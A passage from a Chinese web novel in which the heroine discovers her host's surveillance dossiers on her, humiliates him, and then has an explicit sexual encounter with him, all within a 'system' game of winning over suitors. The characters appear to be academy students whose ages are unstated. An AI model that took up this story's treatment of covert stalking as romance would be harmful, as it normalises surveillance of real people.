真是玩不起,连个照片都不肯发,还好意思要她帮忙。 还不如崔英朗爽快,当时要他发腹肌照,可是直接发过来的。 扭扭捏捏的,她一下子就不感兴趣了,翘着二郎腿,继续翻看消息。 又坐了一会儿,一个中年男人终于出现了,他大概50多岁,满头银霜,头发梳理整齐,气质斯文端正,穿着正装,有种古典老旧的气质,不紧不慢的从旁边走来,恭恭敬敬的邀请她,“小姐,请跟我来。” 安蔓看了他一眼,估计他是江家的服务人,对这种速度有点不满。 但是江赫不在,也不好骂人,她不爽地啧了声,应了一声,“好。” 管家点了点头,态度依旧礼貌,对于江少爷半夜从外面带来一个女生,毫不好奇,只是履行自己的职责,将她带到了安排好的房间,“小姐,接下来一段时间您就住这里。” 安蔓一看,呵了一声,瞬间挑剔起来。 房间在顶楼,大小适中,床被都是新的,但是明显看得出来,之前根本没有用过!所有东西都是新的,缺少装饰,连衣柜和梳妆台都是空空荡荡。 她皱眉,“就这些东西吗?这还不如韶家的。” 管家闻言有点头疼,“请问这个房间有什么问题?” 安蔓有点不太高兴,她才不愿意委屈自己,挑剔又娇气,一个一个指,“里面什么东西都没有,根本不想住人的地方!摆设呢,装饰呢,不知道还以为是样板间呢。” 管家原以为只是普通的带个朋友,或者最多是江少爷的好感对象来住客房,谁知道被挑剔了个遍。 江家根本没有客房,这是第一次有人要留宿,就算有不周到的地方,也没她说的那么夸张。 管家:“那么请您暂时委屈一晚,需要的东西,我们会在明天为您添置上。” 安蔓漆黑的眼睛在房间里扫了一眼,红唇微抿,“你们这里最好的房间是哪里。” 管家一愣,“最好的……应该是江少爷的房间。”毕竟是主卧。 安蔓抿着唇,轻轻的笑了起来,嘴角露出一个小小的梨涡,清丽好看,“不用麻烦了,我决定好去住哪了。” 江赫走进大门的时候愣了一下,安蔓坐在大厅的沙发上,整个人窝在毛毯里,只露出小半张,苍白的脸,眼睛亮晶晶的漆黑,浓密的睫毛一颤一颤,专心致志的玩手机,“你怎么还在这里。” 安蔓一听,柳眉倒竖,满脸怒容,“你给我安排的是什么房间?从来没有住过人,连被子那些都是新的,什么家具都没有,怎么住啊!” 江赫抬手捏了捏眉心,“你想住哪。” 安蔓抿着唇,露出微笑,表情灿烂。她黑发披散,面容冷淡,弯着唇刻意放软表情的时候,却有一种甜甜的味道,“当然是你的房间啊。如果你不愿意跟我睡的话,可以自己找个房间,可以睡沙发,总之我才不要住那里。” 江赫又捏了捏眉心,差点以为自己听错了,“你住我房间,让我去睡沙发?” 安蔓把毛毯一扔,站起来凑上去,表情有点可怜,“为什么不行?我就想住点好的房间,我想好好的睡一觉。” 她摊开手,手心隐隐约约有些红肿,楚楚可怜,“唉,都怪你磨得我手好痛。” “这什么长大的,怎么那么夸张,让人累死了。” “你就不能心疼心疼我吗!” 江赫咬牙,他嘴唇也冰,舌尖都快冻紫了,就为了满足她。 她倒好,还在那里诉起苦了! 第76章 第76章死变态 76. 管家轻声解释,“这位小姐的要求有点多,有些东西,库房里没有,只能等天亮了再采购。” 安蔓很通情达理,“不要为难他了,都说了我睡你房间就好。” 江赫瞳孔冰冷,寒气十足,看了一眼她的手心,又别过了脸,“你先去休息吧。” 管家有点不安,这位小姐脾气这么坏,如果现在不满足,不知道又会做出什么事,“少爷,我们……” “不用。” 江赫制止,让管家去休息“时间太晚了,下次值夜班这种事,你让其他人来,去睡觉吧。” 等管家退了下去,他才转头,拧眉,冷冰冰的视线扫过安蔓的脸,深吸一口气,感觉又头痛了起来,“你去我的房间,仅此一晚。” 安蔓眨了眨眼,漆黑的大眼睛里涌上一点点感动,晶莹剔透,楚楚动人,“真的吗,江少爷你真好,你要跟我一起睡吗?” 江赫皱起了眉毛,冷冰冰地道,“我说了,我对你不感兴趣。” 安蔓身上还有点潮,黏黏腻腻的,不太舒服。她冷哼一声,不喜欢还舔那么起劲? 有本事刚刚别那样,她还信一点。 她伸出食指在江赫的胸口上戳了一下,觉得手感不错,又软绵绵的点了几下,轻声细语,“真的不感兴趣?” “那你倒是让你弟弟别跟我打招呼呀,虚伪。” “对了,下次记得买好套,省得要用的时候,又没有。” 江赫闭了闭眼,表情露出一丝难堪。 安蔓揭穿了他那副虚伪的面孔,也不管他了,哼了一声,扭头让人带路,去了江赫的房间。 一打开,她就有些失望,说实话和样板间也没什么区别,窗帘是深绿色的,缺少生活气息,没有装饰品,有种一板一眼的味道。 她算知道管家刚才没有怠慢,这些人也不是故意的,因为江赫自己的生活都无聊透顶,跟苦行僧一样的,没趣! 幸好佣人不知道在哪买来了几件宽松舒适的新睡衣,勉强能用。安蔓洗漱后扑倒床上,终于舒服了,至少床还是软的。 安蔓睡着的时候,江赫来到她刚才嫌弃的房间,检查了一遍,“安小姐是哪里不满意?” “江少爷,”佣人给递出了管家列出的清单,“她希望添置这些物品,还有一些要穿的衣物。” 江赫看着上面长长的一串奢侈品牌,屈起食指,轻轻的按按太阳穴,冷声道,“给她买。”. 安蔓第二天醒来的时候,终于舒服了,房间已经布置好了,里面全部按照她希望的样子,布置的衣柜里窗装满了应季的衣服,鞋柜里摆满了奢侈品鞋子,就连珠宝柜也装满了。 有了这个地方,她毫不留情地抛弃了江赫的无趣透顶的房间,住了进去,开始处理期末的事。 德川的期末考核十分严格,无论是贵族还是平民都逃不掉。但安蔓一来,还有公投没有通过,学籍并没有正式落定,二来,本身这段时间就是线上授课,她去纠缠江赫,让他帮忙了一段时间,总算将期末考改为线上测试。 终于搞定一切后,安蔓懒洋洋地玩了一段时间,突然发现了一个问题,“江赫是不是在躲我?” 系统震惊,“你不知道啊。” 安蔓震惊,“我不知道啊!” 系统震惊,“我看你这几 天一直在玩手机,我还以为你是故意冷落他呢!” 安蔓:“真讨厌,怎么刚攻略一点又缩回去了,他是蜗牛吗!” 她烦死了,江赫可以说是她攻略的目标中,最麻烦的一个了,性格又冷,又内敛,嘴巴又贱,放置久了进度还会自己倒退,简直对人太不友好了! 安蔓生病久了,骨子里不爱动,日常就喜欢买买东西,逛逛奢侈品,现在又不能出去,只能让人从外面采购,沉浸久了,现在才发现端倪。 她不太高兴地吃了早饭,换了衣服,对着镜子照了一会儿,贵东西就是好看,白衬衫,绿短裙,同色系的墨绿胸针。腰线高,裙子短,柔媚的波浪卷披散在肩上,青春洋溢,明媚漂亮。 安蔓打量了一会儿,满意的在镜子前转了个圈便出发,准备找江赫,谁知道刚走不久就被人截住了。 管家停到她面前,拦住路,彬彬有礼的弯了弯腰,“安小姐,你好,请问你要到哪里去,方便告诉我吗?” 安蔓撩了撩长长的卷发,抿起嘴唇轻轻一笑,她涂了一点口红,妆容素淡,这一身看起来又青春又漂亮,“我找江少爷。” 管家说,“江少爷出门去了,晚上才回来,他有叮嘱过我,让我带你去做个身体检查。” 安蔓扬起了笑容,轻轻一撇,毫不掩饰自己的情绪,“我现在可以出门了?” 管家大概知道这位小姐的情况,江少爷带她回来,就是想要把她藏起来,不让任何人找到,“我们联系了相熟的医院,就在附近,很快就好。” 安蔓摇了摇头,“我不出去。” 管家却仿佛提前能够预知她的反应,将手按在胸口上,微微行了个礼,“不用出去,我们可以联系医生,让他上门采血,可以先做个基础检查。” 安蔓啧了一声,还是摇头,“我不去,除非你让江赫来找,那我再考虑一下。” 一次检查出是癌症,可以是误诊。要是多次检查出来,突然痊愈了,那不得是世界奇迹?她才不想被当成研究品呢。 管家有点为难,这个小姐真的特别难缠,他从来没有遇到过这么麻烦的小姐,为难片刻,“好的,那我和少爷去说一声。” 安蔓懒懒点头,“说吧,让他来见我。” 没看见江赫,安蔓也没什么兴趣到处逛,江家不小,但她从头到尾走了一圈,也没有什么有意思的地方。 江赫大概是和父母分开住住的,这里只有他一个主人,他不在,这里乏味透顶。 安蔓回到房间,无聊地踢掉鞋子,蜷缩在沙发里,打开手机,开始找乐子。 她点开慕玉泽之前发来的照片,发消息,“就这?果.照呢。” 慕玉泽收到消息,有些诧异。 安蔓放置了他快一个月,才终于回复,而且是在所有人之中才回了他一个人,让他几乎有一种……被重视的错觉,“这不够吗?” 安蔓恨不得把照片糊在他脸上,雪白的指尖飞快打字,“你觉得呢!” 慕玉泽仔细端详了一下。 照片是他走t台时拍的,是一套西装搭配,衬托的人俊朗修长,挺拔俊美,璀璨的金发搭在脸侧,如同太阳神阿波罗,有种让人窒息的美感。 这一整套格外昂贵,毫无廉价感,西装外套下没有穿衣服,里面大理石般的肌肉若隐若现,有种欲盖弥彰的性感。 “我觉得还好。” 安蔓被他气笑了,本来还不想看的,被着他这么一耍,一定要弄到手了,“你知道什么叫果.照吗?听不懂吗!听懂的话,就发给我。” 今天天气很好,慕玉泽嘴上说着过两天离家,实际上一直赖在慕家不走。 他在太阳底下,躺在花园的爬藤秋千下,头发金灿灿的发光,华美无比,绚丽璀璨,就像上好的绸缎。 发间雪白的脸缺乏色彩,蓝眼睛微微弯着,光彩夺目,像是昂贵的宝石。 他目光往窗边一扫,面色铁青的慕母,牵着女儿看了他一眼,拿起电话,消失在窗户边,估计又去告状了。 慕玉泽十分享受这种感觉,打心底的快乐,在太阳底下更开心了,“你是要我不穿衣服的照片?” “爱发不发。”安蔓没耐心了。 慕玉泽说,“只要你喜欢,我当然要给,舍命陪君子嘛。毕竟我的朋友对你这么着迷,如果我不参与进去,就是我不识趣了。” 安蔓刚想扔掉手机,听到这句话又勉强有了一点耐心,握着手机,等着看他到底要发过来什么东西。 很快,第1张照片发过来了。 是他灿烂阳光的脸,金色的头发披散在绿色的藤蔓中,微微发亮,清纯漂亮的脸却侧向阴影,里给人一种阴暗生冷之感。 “没穿衣服的头。” 接着,第二张也发了过来。 雪白的皮肤,仿佛雕塑一般的肌肉,最夺目的是他一身莹白的肤色,色泽浅淡,导致上面有什么……颜色。特别明显。明明是普通的照片,却无端给人一种琴瑟之感。 纯白无瑕,感觉很适合凌虐,在上面留下红痕。 慕玉泽:“和没穿衣服的上半身。” 安蔓手痒了,看到他发过来的照片,恨不得手里有条鞭子,狠狠抽他一顿,“你管这叫果.照!!” 慕玉泽又笑了起来,看见不远处又出现了匆匆赶回来的慕父,他十分享受,只要待在家里什么都不用做,就能让这一家三口寝食难安,辗转反侧。 这感觉让他十分愉快,扭曲沸腾的心理稍稍平静下来,甚至有功夫去和安蔓调.情,“还有一张我没来得及拍,下次给你。” 安蔓烦了,“滚蛋。” “对了,有件事我顺便提醒你一句,崔英朗和韶家那两位,已经确定了你大概的位置。甚至有可能已经知道了你在哪。” 他愉快说,“小心点。” 安蔓挂了电话,把他拉进黑名单里。 但这句话还是听见了心里,点开社交软件,还没获得信息,先看到江淮盛没完没了的消息。 [江淮盛:你说过帮我说好话的呢。] [江淮盛:你不能收了好处就这么对我上次帮你开门让江赫知道我手里有他的钥匙,我快被他整死了!] [江淮盛:这对傻x父子,没一个人打算放过我的,我真的要死了。我就想多搞点钱!] 安蔓早把他忘到脑后了,毫不心虚,面不改色回复,[没事,我今天就帮你说和说和,但是有个问题,江赫最近不理我,见都不肯见我。] 江淮盛收到消息的时候,简直是扑在手机边,他脸上黑眼圈极深,面容憔悴,看到消息内容却忍不住冷笑,[你以为他不肯见你是吗?其实他天天都在见你!只不过在用另一种方式。] [江赫这个人,看起来洁癖,傲慢,冷漠,其实有点潜在的控制狂倾向。对身边的一切都调查清楚,不能允许有什么东西超出掌控。] [你想知道的话,就去他的书房,里面会有惊喜。] 安蔓被他勾起了兴趣,她倒想知道江赫怎么变态了。 她跳下床,穿上鞋子,推开门,坐电梯,来到了江赫的房间。旁边就是他的书房。 大白天,书房关着,但没锁。安蔓一按把手就开了。这一层,仿佛存在某种禁忌,在主人不在时基本没有佣人敢来打扫,连阻止她的人都没有。 安蔓推开门,走进去,迎面而来的是整洁干净的书房。江赫应该有强迫症,洁癖极深,书房里一尘不染,书房在摆设上,居然和他的个人休息室极为相似。 她被勾起了上次在江赫休息室的记忆,忍不住咬了咬嘴唇。烦,江赫到底为什么乱跑,人不在,连个解决需求的工具都没有。 [安蔓:书房哪里?] 江淮盛诧异:[这么快。] [你在他的书桌,书柜,还有手边的抽屉看一下。] [好。] 安蔓放下手机,坐在书桌边,一样一样地把东西抽了出来。 第1个档案袋里面,拆出来的,居然是英鸿祯的名字。 安蔓有点费力,仔细想了想,才回忆起那个红发绿眼的精英西装男。 姓名:英鸿祯 性别:男 年龄:29 接着是学历,职业,工作经历等等,值得重点注意的是最后的背景:英文歌女士在婚前私生子,没有认亲,被交由亲戚扶养,长大毕业后进入英家做事。 结论(已解决):调离德川。 安蔓啧了一声,如果没有记错的话,英文歌好像是江赫母亲的名字。 你们江家未免也太乱了!一对夫妻怎么都有婚前私生子,衬的江赫这种人,都像是一孤苦依依的小白菜了。 看完之后,她 把档案装回去,重新放好,接着将手伸向剩余的那些东西. 江家。 江赫回家的时候感觉有些不对,家里的氛围十分怪异,佣人们摒声静气,不敢多看他一眼。 管家支支吾吾,神情十分为难,低声,“江少爷……” 江赫微微颔首,示意身后的秘书,不要跟上来,“什么事。” 管家深吸了一口气,像是不知道怎么形容,转头看下2楼,“那位小姐,又出了一点事。她进了您的书房……” 江赫从他的表情中看出了什么,额头再次跳动了起来,突突乱跳,浑身血液一瞬间加快,有种呼吸困难感,好像从重新认识安蔓第一天起就没发生过什么好事! 他将文件扔给助理,走向电梯,按好楼层手机,突然响了起来。 江赫拿起手机,屏幕显示出韶景荻的电话,他点下接通,对面活泼的声音立刻传了过来。 “看不出来呀,江赫,深藏不露,我们找了那么久,原来是你带走了安蔓小姐,我还以为你们早就闹翻了呢。” 江赫冷冷道,“我不知道你在说什么。” 韶景荻哼了两声,“没关系,你就装傻吧,现在可以装,等会儿就不行了。反正崔英朗知道了,阿朗这个人,你也知道他的脾气。” “什么意思。” “他既然已经知道了,还能坐视不理吗?他已经开车在来你家的路上,你最好给他开门,或者带着我们的校花小姐跑路——如果你跑得掉的话。” “无聊。” 江赫对这种粗浅的威胁不感兴趣,挂了电话,将手机放在口袋里,向书房走去。 一见书房,他的呼吸几乎停滞了,书房的门没关,仿佛犯罪者故意、如此明晃晃的留下证据。而里面大部分的东西都没有动,唯独书桌、抽屉像是遭贼了一样,乱糟糟的,空了一大半! 口袋里的电话铃声,又响起来了,不住地震动,江赫缓缓呼吸,表情彻底冷了下来,寒翠色眼珠微微转动。 他将手机拿出,屏幕上跳动着来电显示的名字,[崔英朗]。 他握着手机,退出书房,转头进了房间里。 安蔓坐在床上,被子被掀的乱糟糟的,几乎要落到地上,床上被人放了十几个档案袋,里面的东西都被拆了出来,按照日期一份一份放好。 东西太多,床放不下,还摆到了床角的地面,平平整整的铺了一大片。 “三月三号,星期三,安蔓小姐早上8点从宿舍出来,进入食堂吃了早饭,早餐是粥,鸡蛋,牛奶。吃完早餐后,她去上了书法课,上课期间,和同桌、前桌交流过。” “三月四号,星期四,安蔓小姐没课,请假了,在宿舍待了一整天,一日三餐都是由舍友代购,送到她身边。早中晚餐分别是……” “狂欢日当天……安蔓小姐去了风纪会,疑似寻求庇护,但是扑了个空,韶家两位会长都出门了,并不在办公室里。她随后又去见了栗纯,两个人商量之后来到狂欢日的宴会主厅。随后,江淮盛主持了狂欢日,对所有人宣布了针对她的狩猎……” 安蔓一个一个,念着报告上面的文字,面无表情,修长的指尖摩挲纸张,指尖粉嫩,微微泛红。 报告按日期排列,从以前到现在,甚至是她最近几天的行程,应有尽有 甚至连照片都有,她吃饭时被拍下的照片,她走在路上,从后面拍到的角度,还有参加狂欢日时不知道是谁居高临下地对准了她的脸,拍下了一张冷漠又厌恶的侧脸。 一张张一件件,铺在地上,光明正大地暴露他的罪证。 安蔓笑着说,“原来你是个变态呀,江赫。” 江赫感觉额头更痛了,太阳穴仿佛被人凿击,一阵剧痛,大脑轰隆作响,几乎听不到任何声音,但是眼前人的话却又清清楚楚一字一句的传入耳朵。 “我就知道你是个变态,表面看起来光鲜亮丽的,实际上私底下这么……” “你太可怕了,我都找不到形容词去形容你了,你的脑子里到底在想什么?真吓人,对吧,任何一个正常人都会觉得你特别可怕。” “你平时装的真好,那么冷酷傲慢,亏我还以为,你还有多么的冰清玉洁,原来私下这么还做这种事!你花了多少钱,买这些东西,你到底偷窥了多久?告诉我!” 江赫咬紧了牙齿,一句话都说不出来,表情僵硬,瞳孔几乎不动了,大脑轰隆隆作响,只能看着安蔓一句一句地奚落。 她笑得漂亮又冷漠,眼中充满恶意,穿着那天梦里几乎一样的衣服,衬衫又紧又凸显身材,短裙垂到大腿,微微移动就会掀起来露出一点,春光无限,让人忍不住避开视线。 安蔓从床边站起,手指一挥,照片便哗啦啦的落在地上,她随手拿起一张拍在江赫的脸上,羞辱道。 “死变态。” “不过没关系,我准许你。” “买套了吗?” 第77章 第77章死变态 77. 江赫闭了闭眼,手指在身侧攥紧,皮质手套下,手背筋络根根绷起,狰狞交错。 他的声音冷到极致,“谁让你进来的。” 安蔓无视质问,随手又捞起一张报告,算了算时间,惊叹了,“你居然偷窥我这么久了!江赫,你脑子没问题吧。” 江赫声音沉沉,“谁告诉你的。江淮盛?” “这重要吗。”安蔓轻轻一哼,嫌弃他磨唧,随手在床边一捞,捞了一把报告,猛的抬起手,向他砸去! A4纸如同雪花一样,纷扬地洒落,砸在他身上。 江赫一动不动,面无表情,黑发绿眼,在白花花的纸片里阴沉无比,显得冷峻又淡漠,只是身侧的手指攥的越发紧了,指节咯咯作响。 安蔓穿着他梦到的衣服,笑容明亮,卷发妖娆,皮肤粉白,笑盈盈的眼睛注视着他,清丽又柔媚,美得惊人。 她转了个圈,展示自己今天的穿着,绿色的格纹百褶裙,衬衫,绿色领结。格裙穿的很高,掐出细细的腰线,裙摆垂到大腿,只能堪堪遮住…。 安蔓笑容甜美,声音扎人,“江赫,你真恶心。” 江赫面容冷峻,姿态僵直,一言不发,注视着她走到身边。 她艳光四射,漆黑的眼睛却流淌着浓重的恶意,粉嫩的嘴唇微微翘起,声音甜丝丝的,一字一句扯开遮羞布, “证据都摆在面前了,你还跟我装,承认喜欢我让你很痛苦吗?” “你接受不了我那么对你了,你居然还喜欢我。还是说,当面揭穿这些事,让你不得不面对自己,觉得难堪耻辱?” “听说你爸最近在和你斗法,而你妈根本不管,反而两个私生子哥哥上蹿下跳的……唉,你看你父母都不爱你,没人在意你,因为这个才导致你控制欲泛滥,人格缺陷吗?” 江赫闭眼,脸色发青,仿佛大庭广众下被扒光示众,声音从喉咙里挤出来,“羞辱我让你感到快乐吗?” 安蔓踮起脚尖,江赫太高了,她拽着他的领带,狠狠一扯,十分愉悦,“非常快乐。” 江赫大脑泛晕,将舌尖咬出了血,一股铁锈味,又涩又咸,脖子连着脸的筋突突跳,“你在报复我吗?” “是啊。”安蔓笑脸盈盈,粉唇微翘,“吻我。” 江赫大脑嗡嗡作响,安蔓比他矮了一截,仰着脸,皮肤雪白,手指卷着他的领带,长卷发在身后一晃一晃,嘴唇泛着水光,诱人无比。 她一边羞辱他,一边索吻! 他脑袋绷紧的弦断了,咬紧牙齿,大脑几乎产生幻痛,一边觉得自己犯贱,一边低下头,捏着她的下巴,低下头。 快亲上的时候,安蔓轻笑,“这么听话,你是狗吗?” 江赫停了下来,面无表情的看着她,“你说什么。” 安蔓弯着眼睛,“你真贱啊,我都这么骂你,还这么听话。” 江赫一瞬间恨不得掐死她! 他僵硬站着,盯着她雪白的脖子,大脑眩晕,捏着她下巴的手,却没有松开。 过了一会,他重新吻了上去,声音像是冷笑,“是啊。” 安蔓听到手机掉在地上,她余光看了一眼,手机嗡嗡振动,有人正在打来电话,但没人去捡起,她卷入这个用力的吻里。 江赫捏着她的下巴,吮.吸,撕扯,搅、弄,简直像是对仇人一样,又痛又恨,鲜血淋漓。 黏腻水声,啧啧作响。 安蔓吃痛,尝到了血味,忍不住扇了他一巴掌,耳光响亮,“你有病吧!” 江赫面色沉沉,忽然笑了一下,眼睛里却毫无笑意。 他低下头,扯下领带,俯下腰。 安蔓有点惊慌,“你干什么!” 江赫胸口起伏,将她按在床上,掀开她的裙子,埋头进去,声音冷冷淡淡,“你不是喜欢这样吗?” “变态!” 安蔓手指抓紧裙摆,拽着他的头发,想把他拉起来,再给他一耳光。 但江赫服务的很好,不像刚才那样粗暴,可能是专门进修过,让人非常快乐。 她脸渐渐红了起来。声音也软了,像小猫哼一样,断断续续。 手指从拽变成按,指腹按着江赫光滑的头发,轻哼道,“tao,你买了没有。” “买了。” 江赫抬起了头,从床头扯了一张纸巾,擦了擦波光潋滟的嘴唇。 他脱下手套,露出修长白.皙的手指,骨节分明,带着一种冷淡的性感。 明明在做那种事,他的表情却仍然是冷的,像是并不能从中感到愉快,面无表情地拉开床头,从里面拿出不知道什么时买的,准备好的东西,撕扯包装袋。 不知为何,他手心出汗,有点打滑,几次才把包装撕开。 “混蛋,你到底会不会啊!” 安蔓被人服务到一半,戛然而止,忍不住拽紧了裙摆,咬了咬嘴唇。 她并紧了腿,感觉难受,空空荡荡,催促道,“快点,不行我找别人了。你的学习能力不是很强吗?别磨蹭了。” “江少爷,虽然没人喜欢你,不过你要是做好了,我可以勉为其难,暂时喜欢你一下。” 江赫低下头,一丝不苟地做着准备步骤,听到这句话,忍不住冷笑了一下,“好啊。” 他站起来,弯下腰,抱住安蔓,扔开围着她的报告和照片。雪白的纸片散落在安蔓四周,他按照梦里的步骤,一样一样实施。 安蔓额头出汗,闷哼,尖叫拍他,“会不会啊,不行算了!” c男就是这点不好,什么都不会! 江赫是初次,没有经验,虽然本钱大,但是技术差,两个人半天出了一身汗。 不仅是安蔓,他也痛的厉害,难受,额头汗水滑落,一滴落在安蔓的眼角,水光盈盈,他盯着那颗水珠,“马上好了。” 安蔓后悔了,第一次,就应该找个技术好点,而不是贪图干净,“你别动。” 江赫:“好。” 安蔓过了一会,又后悔了,“这样更难受了,算了,你还是动吧。” 江赫:“好。” 安蔓很不爽,不舒服,就要转嫁到江赫身上,咬他,挠他,把他的肩膀背上的皮肉,狠狠抓挠,“你人烂就算了,怎么这个方面也烂,能不能好好学学!” “好。” 江赫嘴唇被咬出了血,鲜血淋漓,唇角发红,漆黑如墨的发丝垂在额头,露出翠绿的眼。 他同样难受要命,表情却阴沉沉的,看了安蔓一会,又笑了起来。 他直勾勾看人的样子,让人毛骨悚然,安蔓皮肤上冒了一堆鸡皮疙瘩,寻思是不是把人骂过头了。 江赫这种人,高自尊,脸皮薄,性格傲慢,喜欢将一切掌控在手中,被人耻笑,不亚于杀了他一样难受。现在被她反复羞辱,可能真刺激过头了。 安蔓难受的直哼哼,但是现在不上不下的,又不可能结束,“你快点。” 江赫腰身沉下,“好。” 他好像只有这个词。 江赫将她抱了起来,踩过满地的照片、报告,有些报告都湿了,裂开了,乱糟糟地到处都是。 他调低了灯光,抱着安蔓,放在旁边的桌上,握着她的腰,让她重重坐下,“这样可以吗。” 安蔓有点难受,捶他的胸口,一路走过来,脸红了个彻底,声音也支支吾吾,“还、还行吧。” 她捂着肚子,刚开始难,后来又舒服,现在是爽中带着难受。 她按着小腹,可能是因为江赫太…,很奇怪,感觉非常明显,但又不痛。 江赫脸上阴沉沉的,毫无愉悦,垂着眼,直直地看着她,看了一会儿,低下头和她接吻。 “你高兴吗?” 安蔓声音更加断断续续,脸红透了,声音渐渐愉悦,咬着嘴唇,“还、还行吧,勉勉强强。” 江赫垂眼看着她,翡翠色的瞳孔里,冰冷无比,面无表情,抵着安蔓的额头。汗水滑落,一滴滴落下, 明明是这种愉悦至极的事,他却无动于衷,全心全意服务着安蔓,看着她表情,舔了舔嘴唇,满嘴的铁锈味。又苦又涩。 他面无表情,“很高兴你满意我崩溃的样子。”. 一楼。 秘书原地踱步,将时间看了又看,“还没下来吗。” 佣人们没有得到允许,是不能上二楼的,一群人面面相觑,还是摇了摇头,“没有。” 秘书擦了擦汗,怎么这么倒霉,不会是吵起来了吧!偏偏这个时候,崔少爷又来了,还开着辆超跑,也不催也不叫,就停在门口,一副风雨欲来的样子。 平时崔英朗来,是可以直接放进来的,但是现在江家多了个人,没人敢自作主张,门卫的电话打了好几遍。 管家忧愁道,“将崔少爷拒之门外,太失礼了,他还等着呢。” 秘书擦汗道,有些着急,“那也不能直接让他进来,算了,我上楼看看江赫少爷忙完没有。” 秘书心一横,抱着一堆文件,准备以工作为名义,上2楼看看情况。 他有点担心,先到了书房,开着,里面乱糟糟的,书桌上的东西零零散散,明显是被人翻过。 旁边的卧室门锁上了,隔音很好,听不太清楚,靠近了才能听到,里面可能是打起来了。 砸东西声,骂人声,桌子摇晃起来,声音先是缓慢,然后急促,发出砰,砰,砰,砰的声音。 第78章 第78章78.秘书…… 78. 秘书站在门外,曲起食指,敲了敲门,“江少爷,你在忙吗?” 他有点担心,事情清清楚楚,安蔓翻了江少爷的书桌,然后俩人吵起了架 ,可能还在砸东西。 江赫少爷这个人,待人不算严苛,但绝不宽容,他性格冷漠、古板,注重隐私,虽然不可能对女人动手,但也绝不会怜香惜玉。 秘书想起安蔓小姐的瘦弱的身板,还有那个癌症报告,就算不动手,江少爷愤怒之下推了一把,她也受不住。 秘书忍不住使了点劲,用力敲门,“江少爷?你在吗。” 里面的吱嘎声停了,过了一会,江赫的电话打了过来。 他声音冷漠,只是语气有点古怪,“什么事。” 秘书收回手,恭恭敬敬道,“少爷,崔少爷来了,就在门外等着,请问要放她进来吗。” 对面隐约传来水声,江赫可能在浴室,正在洗澡,水声啪啪作响。 江赫冷漠:“不放。” 电话那头水声小了一点,应该是江赫洗完了澡。 秘书有些懊恼,觉得自己打扰了江赫洗澡,又不禁有点奇怪,以为自己刚刚听错了,继续问,“那崔少爷那边?” 江赫的声音有点不耐烦,气音伴随着脚步声,“跟他说我不在。” 秘书道,“好的。”他犹豫了一下,“江少爷,安蔓小姐的身体检查,我们一个月前就约好了,医院那边,在催问具体时间。” 他话说完,电话那头的脚步声突然停了。 紧接着,近在咫尺的门,咚的响了一声。 像是有人背对着,靠近了门,手肘不小心撞了一下,发出的轻微声响。 秘书迟疑,“江少爷?” 江赫挂了电话,“我会处理好的。” 秘书没有接到许可,下楼通知门卫。 等他一走,旁边的古怪声,再次响起。 咚、咚、咚. 安蔓背抵着门,小腿一晃一晃,身上,只剩下一条格纹裙,卡在腰间,裙摆一抖一抖。 她脸红透了,声音娇娇柔柔,仿佛带着钩子,又软又媚,“江少爷,你秘书都来了,怎么不去处理事情。” 江赫挂了电话,扔到一边,面无表情,“你说呢。” 安蔓笑的天真又纯洁,眼睛一眨一眨,思考不提刚刚因为惊吓,抱着他的脖子,缠着他的腰,收紧的事,“我不知道啊。” 江赫抱着她,连着,向浴室走去,“现在知道了吗?” 安蔓声音哼哼,脸色柔媚,嘴唇湿润,轻轻咬着嘴唇,“还是不太知道,要不你教教我?” 江赫把她抱进浴室,冷冷淡淡,“好。” 一通胡天胡地,结束后,天都黑了。 江赫洗完了澡,把浴缸放满水,试了试温度,将安蔓放进去,“我先出去了,等我家睡衣给你放在门口。” 安蔓浑身湿透,躺进浴缸里,水温恰到好处,她浑身泛粉,皮肤湿润莹白,像熟透的桃子,鲜嫩多汁,轻轻一掐,就会留下印子。 她懒洋洋的,浑身柔弱无骨,倚在一边,看着江赫穿上浴衣,将浑身的肌肉遮挡完,转头走出浴室。 她无趣地啧了一声,“都几次了,怎么还这么保守。” 系统在旁边,犹如尖叫鸡般惨叫出声,“你们都做了什么,我被关小黑屋了好几个小时,你们到底做了什么!” 安蔓脸蛋白里透红,仿佛大红的补药,气色好的要命。 她有点不满,手指掀起一点水花,按在小腹上,异物感十分明显,江赫那个烂人,明明都凸起来了,偏偏还故意要按。 不过……真过瘾啊。 安蔓笑嘻嘻地,调戏系统,心情不错,“爽死了,你说我做了什么。” 系统化身尖叫鸡,“啊啊啊啊啊啊!” 安蔓嘴里哼着歌,自顾自的洗起了澡,她刚刚浑身痉挛,半天没什么力气,嘟囔,“太累了,早知道让江赫给我洗的,都怪他,我都没力气了!” 系统:“那你为什么不让他给我洗。” “他给我洗了,肯定又没完没了。”安蔓弯着嘴角,故意刺激系统,“饭要有节制的吃,一顿吃太多,太饱了,受不了。” 系统:“啊啊啊啊啊啊啊。” 安蔓刺激完,系统洗完澡,慢吞吞的从浴缸里爬起来,裹上浴巾,擦干净水珠,然后换上江赫准备的睡衣。 一条肉色的吊带睡裙,收着腰,细细的肩带勒在雪白的肩头,胸口上还有红痕,皮肤放着粉,透着一股肉.欲的风情。 她换好睡裙,走出浴室,想吩咐江赫吹头发,能不动手就不自己动手。 谁知道一出去,根本没看见人,忍不住冷哼,“睡都睡过了,贞洁烈男,这么保守给谁看!” 系统倒是一直安静如鸡,不知道在想什么,等安曼吹完头发之后突然开口,“江赫攻略完了。” 安蔓将头发吹好,身体还在发软,爽过头了就是浑身没劲,她没听清,“什么?” 系统:“江赫好感满了。” 安蔓舔了舔嘴唇,唇角红红的,差点以为自己听错了,“什么?谁?” “江赫啊。”系统见状,把面板打开给他看上面的好感数字,其中江赫一栏,赫然显示好感满值。 【江赫:100】 安蔓惊讶,没想到这么快。 她很快就想通了,单手撑着下巴,欣赏镜子中自己白里透红,气色极佳的脸,“我还以为多难呢,区区洁癖男,轻而易举,拿下。” 她轻轻一哼,对着镜子轻笑,拿起梳子慢慢梳头,眼睛亮晶晶的,睫毛一颤一颤,“看来他贞操意识很强嘛,睡了一觉就自动攻略完成了。可恶,你怎么不早说有这种捷径。” 系统仿佛被掐住了脖子,半天才重新开口,“啊啊啊啊,我们是正经系统!不把那些乱七八糟的交易!” 安蔓梳完了头,打开门,去找江赫了。 她走下一楼,江赫正和管家站在一起看监控。 听到声音抬起眼,扫过她的服装,皱了皱眉,声音冷冽,“穿上外套。” 安蔓笑容灿烂,故意扭着腰,停到他身边,“哪来的外套?” 江赫伸手按了按眉间,长长吐出一口气,“我和睡裙放在一起的。” 安蔓笑嘻嘻的:“没看到。” 